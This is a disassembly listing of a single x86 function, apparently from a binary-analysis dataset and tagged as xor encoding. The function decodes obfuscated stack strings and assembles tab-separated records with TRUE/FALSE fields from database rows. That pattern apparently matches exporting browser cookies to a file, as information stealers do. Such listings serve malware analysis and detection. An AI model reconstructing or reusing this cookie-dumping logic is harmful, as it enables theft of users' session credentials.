Function at 0x411bec
Capabilities:
Encode data using xor

Disassembly:
push 0x2c0
mov eax, 0x41b009
call fcn.0041974f
mov edi, ecx
mov dword [ebp - 0x1d4], edi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x2cc]
call fcn.0040380e
sub esp, 0x18
add edi, 0xa8
mov ecx, esp
push edi
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x411c4d
cmp dword [edi + 0x14], 0xf
mov eax, edi
jbe 0x411c39
mov eax, dword [edi]
mov edx, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x2cc]
push eax
call fcn.004064a5
call eax
push 0x48
call fcn.00418960
mov esi, eax
mov dword [ebp - 0x1d0], esi
sub esp, 0x14
mov byte [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0x1c8], esp
push edi
call fcn.0040476b
sub esp, 0x18
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040476b
lea eax, [ebp - 0x1c9]
mov byte [ebp - 4], 1
push eax
mov ecx, esi
call fcn.00404b21
xor edx, edx
mov ebx, eax
mov byte [ebp - 4], dl
cmp byte [ebp - 0x1c9], dl
je 0x4123d0
mov al, 0x57
mov dword [ebp - 0x20], 0x81767457
mov dword [ebp - 0x1c], 0x76766a66
mov ecx, edx
mov dword [ebp - 0x18], 0x7a6c7072
mov byte [ebp - 0x14], dl
movsx eax, al
and eax, 0x8000000f
jns 0x411cd3
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xb
jae 0x411ce2
mov al, byte [ebp - 0x20]
jmp 0x411cc4
sub esp, 0x18
mov byte [ebp - 0x14], dl
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, ebx
call fcn.0040bd5c
test al, al
je 0x4123d0
xor eax, eax
lea edi, [ebp - 0x70]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040476b
mov esi, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1c0]
push eax
mov ecx, esi
call fcn.00410466
mov byte [ebp - 4], 4
xor edi, edi
mov eax, dword [ebx + 0x3c]
sub eax, dword [ebx + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
test eax, eax
jle 0x412319
add esi, 0x100
mov dword [ebp - 0x1d0], esi
jmp 0x411d6e
mov esi, dword [ebp - 0x1d0]
push 6
push edi
lea eax, [ebp - 0x58]
mov ecx, ebx
push eax
call fcn.0040c074
mov byte [ebp - 4], 5
cmp dword [ebp - 0x48], 0
je 0x412026
cmp dword [ebp - 0x44], 0xf
lea eax, [ebp - 0x58]
cmova eax, dword [ebp - 0x58]
cmp byte [eax], 0x2f
jne 0x412026
push 5
push edi
lea eax, [ebp - 0xa0]
mov ecx, ebx
push eax
call fcn.0040c074
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 6
push eax
mov ecx, esi
call fcn.0040c2df
push 7
push edi
lea eax, [ebp - 0x88]
mov ecx, ebx
push eax
call fcn.0040c074
push 3
push edi
lea eax, [ebp - 0x100]
mov byte [ebp - 4], 7
push eax
mov ecx, ebx
call fcn.0040c074
push 4
push edi
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 8
push eax
mov ecx, ebx
call fcn.0040c074
mov byte [ebp - 4], 9
mov cl, 0x20
mov dword [ebp - 0x2c], 0x72742920
xor eax, eax
mov dword [ebp - 0x28], 0x296575
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 6
jae 0x411e21
mov cl, byte [ebp - 0x2c]
jmp 0x411e12
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x25], 0
push eax
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x118]
call fcn.00409d3e
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x1a8]
call fcn.004048ef
pop ecx
pop ecx
mov edx, eax
mov byte [ebp - 4], 0xb
mov cl, 0x14
mov dword [ebp - 0x40], 0x55521d14
xor eax, eax
mov dword [ebp - 0x3c], 0x1d514758
mov byte [ebp - 0x38], 0
xor byte [ebp + eax - 0x3f], cl
inc eax
cmp eax, 7
jae 0x411e7c
mov cl, byte [ebp - 0x40]
jmp 0x411e6d
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x38], 0
push eax
lea ecx, [ebp - 0x190]
call fcn.00405ea5
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xc
push ecx
mov edx, eax
lea ecx, [ebp - 0x178]
call fcn.004048ef
pop ecx
pop ecx
mov esi, eax
push 9
mov ecx, esi
mov byte [ebp - 4], 0xd
call fcn.00403613
push esi
lea ecx, [ebp - 0xd0]
call fcn.004035a1
lea eax, [ebp - 0x100]
mov byte [ebp - 4], 0xe
push eax
lea edx, [ebp - 0xd0]
lea ecx, [ebp - 0x160]
call fcn.004048ef
pop ecx
mov esi, eax
push 9
mov ecx, esi
mov byte [ebp - 4], 0xf
call fcn.00403613
push esi
lea ecx, [ebp - 0xb8]
call fcn.004035a1
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 0x10
push eax
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x148]
call fcn.004048ef
pop ecx
mov esi, eax
push 0xc
mov byte [ebp - 4], 0x11
mov dl, 2
pop eax
mov word [ebp - 0x1c4], 0xf02
xor ecx, ecx
mov byte [ebp - 0x1c2], al
mov byte [ebp - 0x1c1], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x411f4b
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1c3], al
inc ecx
cmp ecx, 2
jae 0x411f60
mov dl, byte [ebp - 0x1c4]
jmp 0x411f3c
lea eax, [ebp - 0x1c3]
mov byte [ebp - 0x1c1], 0
push eax
mov edx, esi
lea ecx, [ebp - 0x130]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0x12
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x411f8a
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00404849
lea ecx, [ebp - 0x130]
call fcn.0040357e
lea ecx, [ebp - 0x148]
call fcn.0040357e
lea ecx, [ebp - 0xb8]
call fcn.0040357e
lea ecx, [ebp - 0x160]
call fcn.0040357e
lea ecx, [ebp - 0xd0]
call fcn.0040357e
lea ecx, [ebp - 0x178]
call fcn.0040357e
lea ecx, [ebp - 0x190]
call fcn.0040357e
lea ecx, [ebp - 0x1a8]
call fcn.0040357e
lea ecx, [ebp - 0x118]
call fcn.0040357e
mov esi, dword [ebp - 0x1d4]
lea ecx, [ebp - 0xe8]
inc dword [esi + 0xfc]
call fcn.0040357e
lea ecx, [ebp - 0x100]
call fcn.0040357e
lea ecx, [ebp - 0x88]
jmp 0x4122e8
push 4
push edi
lea eax, [ebp - 0xa0]
mov ecx, ebx
push eax
call fcn.0040c074
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x13
push eax
mov ecx, esi
call fcn.0040c2df
push 5
push edi
lea eax, [ebp - 0x118]
mov ecx, ebx
push eax
call fcn.0040c074
push eax
lea ecx, [ebp - 0x58]
call fcn.00405b98
lea ecx, [ebp - 0x118]
call fcn.0040357e
push 6
push edi
lea eax, [ebp - 0xb8]
mov ecx, ebx
push eax
call fcn.0040c074
push 2
push edi
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x14
push eax
mov ecx, ebx
call fcn.0040c074
push 3
push edi
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 0x15
push eax
mov ecx, ebx
call fcn.0040c074
mov byte [ebp - 4], 0x16
mov al, 0x6b
mov dword [ebp - 0x34], 0x5d5f146b
xor ecx, ecx
mov dword [ebp - 0x30], 0x145060
movsx eax, al
and eax, 0x8000000f
jns 0x4120ce
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 6
jae 0x4120dd
mov al, byte [ebp - 0x34]
jmp 0x4120bf
lea eax, [ebp - 0x33]
mov byte [ebp - 0x2d], 0
push eax
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x130]
call fcn.00409d3e
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x17
push ecx
mov edx, eax
lea ecx, [ebp - 0x148]
call fcn.004048ef
pop ecx
pop ecx
mov esi, eax
mov byte [ebp - 4], 0x18
mov dl, 0x13
push 0xc
pop eax
mov byte [ebp - 0x1c], dl
xor ecx, ecx
mov byte [ebp - 0x1b], al
mov dword [ebp - 0x1a], 0x564f4449
mov byte [ebp - 0x16], 0x48
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x412141
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 7
jae 0x412150
mov dl, byte [ebp - 0x1c]
jmp 0x412132
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x14], 0
push eax
mov edx, esi
lea ecx, [ebp - 0x160]
call fcn.00405ea5
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x19
push ecx
mov edx, eax
lea ecx, [ebp - 0x178]
call fcn.004048ef
pop ecx
pop ecx
mov esi, eax
push 9
mov ecx, esi
mov byte [ebp - 4], 0x1a
call fcn.00403613
push esi
lea ecx, [ebp - 0x100]
call fcn.004035a1
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x1b
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x190]
call fcn.004048ef
pop ecx
mov esi, eax
push 9
mov ecx, esi
mov byte [ebp - 4], 0x1c
call fcn.00403613
push esi
lea ecx, [ebp - 0x88]
call fcn.004035a1
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 0x1d
push eax
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x1a8]
call fcn.004048ef
pop ecx
mov esi, eax
mov byte [ebp - 4], 0x1e
mov dl, 5
mov dword [ebp - 0x1c8], 0xf1205
xor ecx, ecx
movsx eax, dl
and eax, 0x8000000f
jns 0x412212
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1c7], al
inc ecx
cmp ecx, 2
jae 0x412227
mov dl, byte [ebp - 0x1c8]
jmp 0x412203
lea eax, [ebp - 0x1c7]
mov byte [ebp - 0x1c5], 0
push eax
mov edx, esi
lea ecx, [ebp - 0x118]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0x1f
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x412251
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00404849
lea ecx, [ebp - 0x118]
call fcn.0040357e
lea ecx, [ebp - 0x1a8]
call fcn.0040357e
lea ecx, [ebp - 0x88]
call fcn.0040357e
lea ecx, [ebp - 0x190]
call fcn.0040357e
lea ecx, [ebp - 0x100]
call fcn.0040357e
lea ecx, [ebp - 0x178]
call fcn.0040357e
lea ecx, [ebp - 0x160]
call fcn.0040357e
lea ecx, [ebp - 0x148]
call fcn.0040357e
lea ecx, [ebp - 0x130]
call fcn.0040357e
mov esi, dword [ebp - 0x1d4]
lea ecx, [ebp - 0xe8]
inc dword [esi + 0xfc]
call fcn.0040357e
lea ecx, [ebp - 0xd0]
call fcn.0040357e
lea ecx, [ebp - 0xb8]
call fcn.0040357e
lea ecx, [ebp - 0xa0]
call fcn.0040357e
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 4
call fcn.0040357e
mov eax, dword [ebx + 0x3c]
inc edi
sub eax, dword [ebx + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
cmp edi, eax
jl 0x411d68
cmp dword [ebp - 0x60], 0
je 0x4123bd
movaps xmm0, xmmword [0x4022e0]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x3c303c
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x12
jb 0x412337
lea eax, [ebp - 0x23]
mov byte [ebp - 0x11], 0
push eax
lea edx, [esi + 0x90]
lea ecx, [ebp - 0x88]
call fcn.00409d3e
push ecx
push ecx
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x20
push eax
lea ecx, [ebp - 0x284]
call fcn.0041317e
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x234], 0
je 0x41239b
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x284]
call fcn.004136f1
lea ecx, [ebp - 0x284]
call fcn.0041312d
lea ecx, [ebp - 0x21c]
call fcn.0041314e
lea ecx, [ebp - 0x21c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x88]
call fcn.0040357e
lea ecx, [ebp - 0x1c0]
call fcn.0040357e
lea ecx, [ebp - 0x70]
call fcn.0040357e
test ebx, ebx
je 0x4123e5
mov ecx, ebx
call fcn.00405622
push 0x48
push ebx
call fcn.00418990
pop ecx
pop ecx
lea ecx, [ebp + 8]
call fcn.0040357e
call fcn.0041970d
ret 0x18